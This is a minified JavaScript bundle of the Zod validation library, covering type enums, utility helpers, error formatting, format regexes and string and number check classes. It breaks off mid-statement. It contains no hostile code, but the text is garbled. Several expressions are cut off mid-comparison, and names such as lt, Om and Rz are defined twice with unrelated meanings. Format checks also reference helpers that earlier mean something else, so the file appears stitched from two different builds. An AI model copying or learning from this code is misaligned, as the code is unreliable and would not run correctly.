Ju(r)?r.then(a=>n(a)):n(r)}unwrap(){return this._def.innerType}};ei.create=(t,e)=>new ei({innerType:t,typeName:Ce.ZodReadonly,...Me(e)});var EX={object:pr.lazycreate},Ce;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(Ce||(Ce={}));var TX=Hs.create,kX=yo.create,$X=$o.create,RX=_o.create,PX=bo.create,OX=xo.create,CX=wo.create,IX=Bs.create,AX=Vs.create,NX=So.create,jX=Ha.create,MX=na.create,DX=Eo.create,qX=Ba.create,LX=pr.create,FX=pr.strictCreate,zX=Zs.create,UX=um.create,HX=Gs.create,BX=ga.create,VX=dm.create,ZX=To.create,GX=ko.create,WX=pm.create,KX=Ws.create,XX=Ks.create,JX=Xs.create,YX=Js.create,QX=Mn.create,eJ=Lr.create,tJ=qr.create,rJ=ya.create,aJ=Lr.createWithPreprocess,nJ=Qu.create,sJ=Object.freeze({status:"aborted"});function ae(t,e,r){function n(o,c){var u;Object.defineProperty(o,"_zod",{value:o._zod??{},enumerable:!1}),(u=o._zod).traits??(u.traits=new Set),o._zod.traits.add(t),e(o,c);for(let l in i.prototype)l in o||Object.defineProperty(o,l,{value:i.prototype[l].bind(o)});o._zod.constr=i,o._zod.def=c}let a=r?.Parent??Object;class s extends a{}Object.defineProperty(s,"name",{value:t});function i(o){var c;let u=r?.Parent?new s:this;n(u,o),(c=u._zod).deferred??(c.deferred=[]);for(let l of u._zod.deferred)l();return u}return Object.defineProperty(i,"init",{value:n}),Object.defineProperty(i,Symbol.hasInstance,{value:o=>r?.Parent&&o instanceof r.Parent?!0:o?._zod?.traits?.has(t)}),Object.defineProperty(i,"name",{value:t}),i}var iJ=Symbol("zod_brand"),Dn=class extends Error{constructor(){super("Encountered Promise during synchronous parse. Use .parseAsync() instead.")}},fm={};function _a(t){return t&&Object.assign(fm,t),fm}var ut={};V1(ut,{unwrapMessage:()=>ho,stringifyPrimitive:()=>Cm,required:()=>ez,randomString:()=>HF,propertyKeyTypes:()=>CT,promiseAllObject:()=>UF,primitiveTypes:()=>ZF,prefixIssues:()=>Ua,pick:()=>KF,partial:()=>QF,optionalKeys:()=>IT,omit:()=>XF,numKeys:()=>BF,nullish:()=>ml,normalizeParams:()=>Re,merge:()=>YF,jsonStringifyReplacer:()=>RT,joinValues:()=>mm,issue:()=>NT,isPlainObject:()=>Po,isObject:()=>Ro,getSizableOrigin:()=>tz,getParsedType:()=>VF,getLengthableOrigin:()=>vl,getEnumValues:()=>$T,getElementAtPath:()=>zF,floatSafeRemainder:()=>PT,finalizeIssue:()=>ba,extend:()=>JF,escapeRegex:()=>ii,esc:()=>Fs,defineLazy:()=>lt,createTransparentProxy:()=>GF,clone:()=>Ga,cleanRegex:()=>hl,cleanEnum:()=>rz,captureStackTrace:()=>Om,cached:()=>fl,assignProp:()=>Pm,assertNotEqual:()=>DF,assertNever:()=>LF,assertIs:()=>qF,assertEqual:()=>MF,assert:()=>FF,allowsEval:()=>OT,aborted:()=>zs,NUMBER_FORMAT_RANGES:()=>AT,Class:()=>hm,BIGINT_FORMAT_RANGES:()=>WF});function MF(t){return t}function DF(t){return t}function qF(t){}function LF(t){throw new Error}function FF(t){}function $T(t){let e=Object.values(t).filter(n=>typeof n=="number");return Object.entries(t).filter(([n,a])=>e.indexOf(+n)===-1).map(([n,a])=>a)}function mm(t,e="|"){return t.map(r=>Cm(r)).join(e)}function RT(t,e){return typeof e=="bigint"?e.toString():e}function fl(t){return{get value(){{let r=t();return Object.defineProperty(this,"value",{value:r}),r}throw new Error("cached value already set")}}}function ml(t){return t==null}function hl(t){let e=t.startsWith("^")?1:0,r=t.endsWith("$")?t.length-1:t.length;return t.slice(e,r)}function PT(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}function lt(t,e,r){Object.defineProperty(t,e,{get(){{let a=r();return t[e]=a,a}throw new Error("cached value already set")},set(a){Object.defineProperty(t,e,{value:a})},configurable:!0})}function Pm(t,e,r){Object.defineProperty(t,e,{value:r,writable:!0,enumerable:!0,configurable:!0})}function zF(t,e){return e?e.reduce((r,n)=>r?.[n],t):t}function UF(t){let e=Object.keys(t),r=e.map(n=>t[n]);return Promise.all(r).then(n=>{let a={};for(let s=0;s{};function Ro(t){return typeof t=="object"&&t!==null&&!Array.isArray(t)}var OT=fl(()=>{if(typeof navigator<"u"&&navigator?.userAgent?.includes("Cloudflare"))return!1;try{let t=Function;return new t(""),!0}catch{return!1}});function Po(t){if(Ro(t)===!1)return!1;let e=t.constructor;if(e===void 0)return!0;let r=e.prototype;return!(Ro(r)===!1||Object.prototype.hasOwnProperty.call(r,"isPrototypeOf")===!1)}function BF(t){let e=0;for(let r in t)Object.prototype.hasOwnProperty.call(t,r)&&e++;return e}var VF=t=>{let e=typeof t;switch(e){case"undefined":return"undefined";case"string":return"string";case"number":return Number.isNaN(t)?"nan":"number";case"boolean":return"boolean";case"function":return"function";case"bigint":return"bigint";case"symbol":return"symbol";case"object":return Array.isArray(t)?"array":t===null?"null":t.then&&typeof t.then=="function"&&t.catch&&typeof t.catch=="function"?"promise":typeof Map<"u"&&t instanceof Map?"map":typeof Set<"u"&&t instanceof Set?"set":typeof Date<"u"&&t instanceof Date?"date":typeof File<"u"&&t instanceof File?"file":"object";default:throw new Error(`Unknown data type: ${e}`)}},CT=new Set(["string","number","symbol"]),ZF=new Set(["string","number","bigint","boolean","symbol","undefined"]);function ii(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function Ga(t,e,r){let n=new t._zod.constr(e??t._zod.def);return(!e||r?.parent)&&(n._zod.parent=t),n}function Re(t){let e=t;if(!e)return{};if(typeof e=="string")return{error:()=>e};if(e?.message!==void 0){if(e?.error!==void 0)throw new Error("Cannot specify both `message` and `error` params");e.error=e.message}return delete e.message,typeof e.error=="string"?{...e,error:()=>e.error}:e}function GF(t){let e;return new Proxy({},{get(r,n,a){return e??(e=t()),Reflect.get(e,n,a)},set(r,n,a,s){return e??(e=t()),Reflect.set(e,n,a,s)},has(r,n){return e??(e=t()),Reflect.has(e,n)},deleteProperty(r,n){return e??(e=t()),Reflect.deleteProperty(e,n)},ownKeys(r){return e??(e=t()),Reflect.ownKeys(e)},getOwnPropertyDescriptor(r,n){return e??(e=t()),Reflect.getOwnPropertyDescriptor(e,n)},defineProperty(r,n,a){return e??(e=t()),Reflect.defineProperty(e,n,a)}})}function Cm(t){return typeof t=="bigint"?t.toString()+"n":typeof t=="string"?`"${t}"`:`${t}`}function IT(t){return Object.keys(t).filter(e=>t[e]._zod.optin==="optional"&&t[e]._zod.optout==="optional")}var AT={safeint:[Number.MIN_SAFE_INTEGER,Number.MAX_SAFE_INTEGER],int32:[-2147483648,2147483647],uint32:[0,4294967295],float32:[-34028234663852886e22,34028234663852886e22],float64:[-Number.MAX_VALUE,Number.MAX_VALUE]},WF={int64:[BigInt("-9223372036854775808"),BigInt("9223372036854775807")],uint64:[BigInt(0),BigInt("18446744073709551615")]};function KF(t,e){let r={},n=t._zod.def;for(let a in e){if(!(a in n.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&(r[a]=n.shape[a])}return Ga(t,{...t._zod.def,shape:r,checks:[]})}function XF(t,e){let r={...t._zod.def.shape},n=t._zod.def;for(let a in e){if(!(a in n.shape))throw new Error(`Unrecognized key: "${a}"`);e[a]&&delete r[a]}return Ga(t,{...t._zod.def,shape:r,checks:[]})}function JF(t,e){if(!Po(e))throw new Error("Invalid input to extend: expected a plain object");let r={...t._zod.def,get shape(){let n={...t._zod.def.shape,...e};return Pm(this,"shape",n),n},checks:[]};return Ga(t,r)}function YF(t,e){return Ga(t,{...t._zod.def,get shape(){let r={...t._zod.def.shape,...e._zod.def.shape};return Pm(this,"shape",r),r},catchall:e._zod.def.catchall,checks:[]})}function QF(t,e,r){let n=e._zod.def.shape,a={...n};if(r)for(let s in r){if(!(s in n))throw new Error(`Unrecognized key: "${s}"`);r[s]&&(a[s]=t?new t({type:"optional",innerType:n[s]}):n[s])}else for(let s in n)a[s]=t?new t({type:"optional",innerType:n[s]}):n[s];return Ga(e,{...e._zod.def,shape:a,checks:[]})}function ez(t,e,r){let n=e._zod.def.shape,a={...n};if(r)for(let s in r){if(!(s in a))throw new Error(`Unrecognized key: "${s}"`);r[s]&&(a[s]=new t({type:"nonoptional",innerType:n[s]}))}else for(let s in n)a[s]=new t({type:"nonoptional",innerType:n[s]});return Ga(e,{...e._zod.def,shape:a,checks:[]})}function zs(t,e=0){for(let r=e;r{var n;return(n=r).path??(n.path=[]),r.path.unshift(t),r})}function ho(t){return typeof t=="string"?t:t?.message}function ba(t,e,r){let n={...t,path:t.path??[]};if(!t.message){let a=ho(t.inst?._zod.def?.error?.(t))??ho(e?.error?.(t))??ho(r.customError?.(t))??ho(r.localeError?.(t))??"Invalid input";n.message=a}return delete n.inst,delete n.continue,e?.reportInput||delete n.input,n}function tz(t){return t instanceof Set?"set":t instanceof Map?"map":t instanceof File?"file":"unknown"}function vl(t){return Array.isArray(t)?"array":typeof t=="string"?"string":"unknown"}function NT(...t){let[e,r,n]=t;return typeof e=="string"?{message:e,code:"custom",input:r,inst:n}:{...e}}function rz(t){return Object.entries(t).filter(([e,r])=>Number.isNaN(Number.parseInt(e,10))).map(e=>e[1])}var hm=class{constructor(...e){}},jT=(t,e)=>{t.name="$ZodError",Object.defineProperty(t,"_zod",{value:t._zod,enumerable:!1}),Object.defineProperty(t,"issues",{value:e,enumerable:!1}),Object.defineProperty(t,"message",{get(){return JSON.stringify(e,RT,2)},enumerable:!0})},MT=ae("$ZodError",jT),DT=ae("$ZodError",jT,{Parent:Error});function az(t,e=r=>r.message){let r={},n=[];for(let a of t.issues)a.path.length>0?(r[a.path[0]]=r[a.path[0]]||[],r[a.path[0]].push(e(a))):n.push(e(a));return{formErrors:n,fieldErrors:r}}function nz(t,e){let r=e||function(s){return s.message},n={_errors:[]},a=s=>{for(let i of s.issues)if(i.code==="invalid_union"&&i.errors.length)i.errors.map(o=>a({issues:o}));else if(i.code==="invalid_key")a({issues:i.issues});else if(i.code==="invalid_element")a({issues:i.issues});else if(i.path.length===0)n._errors.push(r(i));else{let o=n,c=0;for(;c(e,r,n,a)=>{let s=n?Object.assign(n,{async:!1}):{async:!1},i=e._zod.run({value:r,issues:[]},s);if(i instanceof Promise)throw new Dn;if(i.issues.length){let o=new(a?.Err??t)(i.issues.map(c=>ba(c,s,_a())));throw Om(o,a?.callee),o}return i.value};var iz=t=>async(e,r,n,a)=>{let s=n?Object.assign(n,{async:!0}):{async:!0},i=e._zod.run({value:r,issues:[]},s);if(i instanceof Promise&&(i=await i),i.issues.length){let o=new(a?.Err??t)(i.issues.map(c=>ba(c,s,_a())));throw Om(o,a?.callee),o}return i.value};var qT=t=>(e,r,n)=>{let a=n?{...n,async:!1}:{async:!1},s=e._zod.run({value:r,issues:[]},a);if(s instanceof Promise)throw new Dn;return s.issues.length?{success:!1,error:new(t??MT)(s.issues.map(i=>ba(i,a,_a())))}:{success:!0,data:s.value}},oz=qT(DT),LT=t=>async(e,r,n)=>{let a=n?Object.assign(n,{async:!0}):{async:!0},s=e._zod.run({value:r,issues:[]},a);return s instanceof Promise&&(s=await s),s.issues.length?{success:!1,error:new t(s.issues.map(i=>ba(i,a,_a())))}:{success:!0,data:s.value}},cz=LT(DT),uz=/^[cC][^\s-]{8,}$/,lz=/^[0-9a-z]+$/,dz=/^[0-9A-HJKMNP-TV-Za-hjkmnp-tv-z]{26}$/,pz=/^[0-9a-vA-V]{20}$/,fz=/^[A-Za-z0-9]{27}$/,mz=/^[a-zA-Z0-9_-]{21}$/,hz=/^P(?:(\d+W)|(?!.*W)(?=\d|T\d)(\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+([.,]\d+)?S)?)?)$/,vz=/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/,T1=t=>t?new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${t}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`):/^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000)$/,gz=/^(?!\.)(?!.*\.\.)([A-Za-z0-9_'+\-\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\-]*\.)+[A-Za-z]{2,}$/,yz="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$";function _z(){return new RegExp(yz,"u")}var bz=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,xz=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})$/,wz=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,Sz=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,Ez=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,FT=/^[A-Za-z0-9_-]*$/,Tz=/^([a-zA-Z0-9-]+\.)*[a-zA-Z0-9-]+$/,kz=/^\+(?:[0-9]){6,14}[0-9]$/,zT="(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))",$z=new RegExp(`^${zT}$`);function UT(t){let e="(?:[01]\\d|2[0-3]):[0-5]\\d";return typeof t.precision=="number"?t.precision===-1?`${e}`:t.precision===0?`${e}:[0-5]\\d`:`${e}:[0-5]\\d\\.\\d{${t.precision}}`:`${e}(?::[0-5]\\d(?:\\.\\d+)?)?`}function Rz(t){return new RegExp(`^${UT(t)}$`)}function Pz(t){let e=UT({precision:t.precision}),r=["Z"];t.local&&r.push(""),t.offset&&r.push("([+-]\\d{2}:\\d{2})");let n=`${e}(?:${r.join("|")})`;return new RegExp(`^${zT}T(?:${n})$`)}var Oz=t=>{let e=t?`[\\s\\S]{${t?.minimum??0},${t?.maximum??""}}`:"[\\s\\S]*";return new RegExp(`^${e}$`)},Cz=/^\d+$/,Iz=/^-?\d+(?:\.\d+)?/i,Az=/true|false/i,Nz=/null/i,jz=/^[^A-Z]*$/,Mz=/^[^a-z]*$/,ir=ae("$ZodCheck",(t,e)=>{var r;t._zod??(t._zod={}),t._zod.def=e,(r=t._zod).onattach??(r.onattach=[])}),HT={number:"number",bigint:"bigint",object:"date"},BT=ae("$ZodCheckLessThan",(t,e)=>{ir.init(t,e);let r=HT[typeof e.value];t._zod.onattach.push(n=>{let a=n._zod.bag,s=(e.inclusive?a.maximum:a.exclusiveMaximum)??Number.POSITIVE_INFINITY;e.value{(e.inclusive?n.value<=e.value:n.value{ir.init(t,e);let r=HT[typeof e.value];t._zod.onattach.push(n=>{let a=n._zod.bag,s=(e.inclusive?a.minimum:a.exclusiveMinimum)??Number.NEGATIVE_INFINITY;e.value>s&&(e.inclusive?a.minimum=e.value:a.exclusiveMinimum=e.value)}),t._zod.check=n=>{(e.inclusive?n.value>=e.value:n.value>e.value)||n.issues.push({origin:r,code:"too_small",minimum:e.value,input:n.value,inclusive:e.inclusive,inst:t,continue:!e.abort})}}),Dz=ae("$ZodCheckMultipleOf",(t,e)=>{ir.init(t,e),t._zod.onattach.push(r=>{var n;(n=r._zod.bag).multipleOf??(n.multipleOf=e.value)}),t._zod.check=r=>{if(typeof r.value!=typeof e.value)throw new Error("Cannot mix number and bigint in multiple_of check.");(typeof r.value=="bigint"?r.value%e.value===BigInt(0):PT(r.value,e.value)===0)||r.issues.push({origin:typeof r.value,code:"not_multiple_of",divisor:e.value,input:r.value,inst:t,continue:!e.abort})}}),qz=ae("$ZodCheckNumberFormat",(t,e)=>{ir.init(t,e),e.format=e.format||"float64";let r=e.format?.includes("int"),n=r?"int":"number",[a,s]=AT[e.format];t._zod.onattach.push(i=>{let o=i._zod.bag;o.format=e.format,o.minimum=a,o.maximum=s,r&&(o.pattern=Cz)}),t._zod.check=i=>{let o=i.value;if(r){if(!Number.isInteger(o)){i.issues.push({expected:n,format:e.format,code:"invalid_type",input:o,inst:t});return}if(!Number.isSafeInteger(o)){o>0?i.issues.push({input:o,code:"too_big",maximum:Number.MAX_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:n,continue:!e.abort}):i.issues.push({input:o,code:"too_small",minimum:Number.MIN_SAFE_INTEGER,note:"Integers must be within the safe integer range.",inst:t,origin:n,continue:!e.abort});return}}os&&i.issues.push({origin:"number",input:o,code:"too_big",maximum:s,inst:t})}}),Lz=ae("$ZodCheckMaxLength",(t,e)=>{ir.init(t,e),t._zod.when=r=>{let n=r.value;return!ml(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag.maximum??Number.POSITIVE_INFINITY;e.maximum{let n=r.value;if(n.length<=e.maximum)return;let s=vl(n);r.issues.push({origin:s,code:"too_big",maximum:e.maximum,inclusive:!0,input:n,inst:t,continue:!e.abort})}}),Fz=ae("$ZodCheckMinLength",(t,e)=>{ir.init(t,e),t._zod.when=r=>{let n=r.value;return!ml(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag.minimum??Number.NEGATIVE_INFINITY;e.minimum>n&&(r._zod.bag.minimum=e.minimum)}),t._zod.check=r=>{let n=r.value;if(n.length>=e.minimum)return;let s=vl(n);r.issues.push({origin:s,code:"too_small",minimum:e.minimum,inclusive:!0,input:n,inst:t,continue:!e.abort})}}),zz=ae("$ZodCheckLengthEquals",(t,e)=>{ir.init(t,e),t._zod.when=r=>{let n=r.value;return!ml(n)&&n.length!==void 0},t._zod.onattach.push(r=>{let n=r._zod.bag;n.minimum=e.length,n.maximum=e.length,n.length=e.length}),t._zod.check=r=>{let n=r.value,a=n.length;if(a===e.length)return;let s=vl(n),i=a>e.length;r.issues.push({origin:s,...i?{code:"too_big",maximum:e.length}:{code:"too_small",minimum:e.length},inclusive:!0,exact:!0,input:r.value,inst:t,continue:!e.abort})}}),gl=ae("$ZodCheckStringFormat",(t,e)=>{var r,n;ir.init(t,e),t._zod.onattach.push(a=>{let s=a._zod.bag;s.format=e.format,e.pattern&&(s.patterns??(s.patterns=new Set),s.patterns.add(e.pattern))}),e.pattern?(r=t._zod).check??(r.check=a=>{e.pattern.lastIndex=0,!e.pattern.test(a.value)&&a.issues.push({origin:"string",code:"invalid_format",format:e.format,input:a.value,...e.pattern?{pattern:e.pattern.toString()}:{},inst:t,continue:!e.abort})}):(n=t._zod).check??(n.check=()=>{})}),Uz=ae("$ZodCheckRegex",(t,e)=>{gl.init(t,e),t._zod.check=r=>{e.pattern.lastIndex=0,!e.pattern.test(r.value)&&r.issues.push({origin:"string",code:"invalid_format",format:"regex",input:r.value,pattern:e.pattern.toString(),inst:t,continue:!e.abort})}}),Hz=ae("$ZodCheckLowerCase",(t,e)=>{e.pattern??(e.pattern=jz),gl.init(t,e)}),Bz=ae("$ZodCheckUpperCase",(t,e)=>{e.pattern??(e.pattern=Mz),gl.init(t,e)}),Vz=ae("$ZodCheckIncludes",(t,e)=>{ir.init(t,e);let r=ii(e.includes),n=new RegExp(typeof e.position=="number"?`^.{${e.position}}${r}`:r);e.pattern=n,t._zod.onattach.push(a=>{let s=a._zod.bag;s.patterns??(s.patterns=new Set),s.patterns.add(n)}),t._zod.check=a=>{a.value.includes(e.includes,e.position)||a.issues.push({origin:"string",code:"invalid_format",format:"includes",includes:e.includes,input:a.value,inst:t,continue:!e.abort})}}),Zz=ae("$ZodCheckStartsWith",(t,e)=>{ir.init(t,e);let r=new RegExp(`^${ii(e.prefix)}.*`);e.pattern??(e.pattern=r),t._zod.onattach.push(n=>{let a=n._zod.bag;a.patterns??(a.patterns=new Set),a.patterns.add(r)}),t._zod.check=n=>{n.value.startsWith(e.prefix)||n.issues.push({origin:"string",code:"invalid_format",format:"starts_with",prefix:e.prefix,input:n.value,inst:t,continue:!e.abort})}}),Gz=ae("$ZodCheckEndsWith",(t,e)=>{ir.init(t,e);let r=new RegExp(`.*${ii(e.suffix)}$`);e.pattern??(e.pattern=r),t._zod.onattach.push(n=>{let a=n._zod.bag;a.patterns??(a.patterns=new Set),a.patterns.add(r)}),t._zod.check=n=>{n.value.endsWith(e.suffix)||n.issues.push({origin:"string",code:"invalid_format",format:"ends_with",suffix:e.suffix,input:n.value,inst:t,continue:!e.abort})}}),Wz=ae("$ZodCheckOverwrite",(t,e)=>{ir.init(t,e),t._zod.check=r=>{r.value=e.tx(r.value)}}),vm=class{constructor(e=[]){this.content=[],this.indent=0,this&&(this.args=e)}indented(e){this.indent+=1,e(this),this.indent-=1}write(e){if(typeof e=="function"){e(this,{execution:"sync"}),e(this,{execution:"async"});return}let n=e.split(` `).filter(i=>i),a=Math.min(...n.map(i=>i.length-i.trimStart().length)),s=n.map(i=>i.slice(a)).map(i=>" ".repeat(this.indent*2)+i);for(let i of s)this.content.push(i)}compile(){let e=Function,r=this?.args,a=[...(this?.content??[""]).map(s=>` ${s}`)];return new e(...r,a.join(` -`))}},Rz={major:4,minor:0,patch:0},lt=ae("$ZodType",(t,e)=>{var r;t??(t={}),t._zod.def=e,t._zod.bag=t._zod.bag||{},t._zod.version=Rz;let n=[...t._zod.def.checks??[]];t._zod.traits.has("$ZodCheck")&&n.unshift(t);for(let a of n)for(let s of a._zod.onattach)s(t);if(n.length===0)(r=t._zod).deferred??(r.deferred=[]),t._zod.deferred?.push(()=>{t._zod.run=t._zod.parse});else{let a=(s,i,o)=>{let c=Ls(s),u;for(let l of i){if(l._zod.when){if(!l._zod.when(s))continue}else if(c)continue;let d=s.issues.length,f=l._zod.check(s);if(f instanceof Promise&&o?.async===!1)throw new An;if(u||f instanceof Promise)u=(u??Promise.resolve()).then(async()=>{await f,s.issues.length!==d&&(c||(c=Ls(s,d)))});else{if(s.issues.length===d)continue;c||(c=Ls(s,d))}}return u?u.then(()=>s):s};t._zod.run=(s,i)=>{let o=t._zod.parse(s,i);if(o instanceof Promise){if(i.async===!1)throw new An;return o.then(c=>a(c,n,i))}return a(o,n,i)}}t["~standard"]={validate:a=>{try{let s=LF(t,a);return s.success?{value:s.data}:{issues:s.error?.issues}}catch{return FF(t,a).then(i=>i.success?{value:i.data}:{issues:i.error?.issues})}},vendor:"zod",version:1}}),Om=ae("$ZodString",(t,e)=>{lt.init(t,e),t._zod.pattern=[...t?._zod.bag?.patterns??[]].pop()??cz(t._zod.bag),t._zod.parse=(r,n)=>{if(e.coerce)try{r.value=String(r.value)}catch{}return typeof r.value=="string"||r.issues.push({expected:"string",code:"invalid_type",input:r.value,inst:t}),r}}),mt=ae("$ZodStringFormat",(t,e)=>{hl.init(t,e),Om.init(t,e)}),$z=ae("$ZodGUID",(t,e)=>{e.pattern??(e.pattern=GF),mt.init(t,e)}),Pz=ae("$ZodUUID",(t,e)=>{if(e.version){let n={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[e.version];if(n===void 0)throw new Error(`Invalid UUID version: "${e.version}"`);e.pattern??(e.pattern=h1(n))}else e.pattern??(e.pattern=h1());mt.init(t,e)}),Oz=ae("$ZodEmail",(t,e)=>{e.pattern??(e.pattern=KF),mt.init(t,e)}),Cz=ae("$ZodURL",(t,e)=>{mt.init(t,e),t._zod.check=r=>{try{let n=r.value,a=new URL(n),s=a.href;e.hostname&&(e.hostname.lastIndex=0,e.hostname.test(a.hostname)||r.issues.push({code:"invalid_format",format:"url",note:"Invalid hostname",pattern:az.source,input:r.value,inst:t,continue:!e.abort})),e.protocol&&(e.protocol.lastIndex=0,e.protocol.test(a.protocol.endsWith(":")?a.protocol.slice(0,-1):a.protocol)||r.issues.push({code:"invalid_format",format:"url",note:"Invalid protocol",pattern:e.protocol.source,input:r.value,inst:t,continue:!e.abort})),!n.endsWith("/")&&s.endsWith("/")?r.value=s.slice(0,-1):r.value=s;return}catch{r.issues.push({code:"invalid_format",format:"url",input:r.value,inst:t,continue:!e.abort})}}}),Iz=ae("$ZodEmoji",(t,e)=>{e.pattern??(e.pattern=JF()),mt.init(t,e)}),Az=ae("$ZodNanoID",(t,e)=>{e.pattern??(e.pattern=WF),mt.init(t,e)}),Nz=ae("$ZodCUID",(t,e)=>{e.pattern??(e.pattern=zF),mt.init(t,e)}),jz=ae("$ZodCUID2",(t,e)=>{e.pattern??(e.pattern=UF),mt.init(t,e)}),Mz=ae("$ZodULID",(t,e)=>{e.pattern??(e.pattern=HF),mt.init(t,e)}),Dz=ae("$ZodXID",(t,e)=>{e.pattern??(e.pattern=BF),mt.init(t,e)}),qz=ae("$ZodKSUID",(t,e)=>{e.pattern??(e.pattern=VF),mt.init(t,e)}),Lz=ae("$ZodISODateTime",(t,e)=>{e.pattern??(e.pattern=oz(e)),mt.init(t,e)}),Fz=ae("$ZodISODate",(t,e)=>{e.pattern??(e.pattern=sz),mt.init(t,e)}),zz=ae("$ZodISOTime",(t,e)=>{e.pattern??(e.pattern=iz(e)),mt.init(t,e)}),Uz=ae("$ZodISODuration",(t,e)=>{e.pattern??(e.pattern=ZF),mt.init(t,e)}),Hz=ae("$ZodIPv4",(t,e)=>{e.pattern??(e.pattern=YF),mt.init(t,e),t._zod.onattach.push(r=>{let n=r._zod.bag;n.format="ipv4"})}),Bz=ae("$ZodIPv6",(t,e)=>{e.pattern??(e.pattern=QF),mt.init(t,e),t._zod.onattach.push(r=>{let n=r._zod.bag;n.format="ipv6"}),t._zod.check=r=>{try{new URL(`http://[${r.value}]`)}catch{r.issues.push({code:"invalid_format",format:"ipv6",input:r.value,inst:t,continue:!e.abort})}}}),Vz=ae("$ZodCIDRv4",(t,e)=>{e.pattern??(e.pattern=ez),mt.init(t,e)}),Wz=ae("$ZodCIDRv6",(t,e)=>{e.pattern??(e.pattern=tz),mt.init(t,e),t._zod.check=r=>{let[n,a]=r.value.split("/");try{if(!a)throw new Error;let s=Number(a);if(`${s}`!==a)throw new Error;if(s<0||s>128)throw new Error;new URL(`http://[${n}]`)}catch{r.issues.push({code:"invalid_format",format:"cidrv6",input:r.value,inst:t,continue:!e.abort})}}});function MT(t){if(t==="")return!0;if(t.length%4!==0)return!1;try{return atob(t),!0}catch{return!1}}var Zz=ae("$ZodBase64",(t,e)=>{e.pattern??(e.pattern=rz),mt.init(t,e),t._zod.onattach.push(r=>{r._zod.bag.contentEncoding="base64"}),t._zod.check=r=>{MT(r.value)||r.issues.push({code:"invalid_format",format:"base64",input:r.value,inst:t,continue:!e.abort})}});function Gz(t){if(!OT.test(t))return!1;let e=t.replace(/[-_]/g,n=>n==="-"?"+":"/"),r=e.padEnd(Math.ceil(e.length/4)*4,"=");return MT(r)}var Kz=ae("$ZodBase64URL",(t,e)=>{e.pattern??(e.pattern=OT),mt.init(t,e),t._zod.onattach.push(r=>{r._zod.bag.contentEncoding="base64url"}),t._zod.check=r=>{Gz(r.value)||r.issues.push({code:"invalid_format",format:"base64url",input:r.value,inst:t,continue:!e.abort})}}),Xz=ae("$ZodE164",(t,e)=>{e.pattern??(e.pattern=nz),mt.init(t,e)});function Jz(t,e=null){try{let r=t.split(".");if(r.length!==3)return!1;let[n]=r;if(!n)return!1;let a=JSON.parse(atob(n));return!("typ"in a&&a?.typ!=="JWT"||!a.alg||e&&(!("alg"in a)||a.alg!==e))}catch{return!1}}var 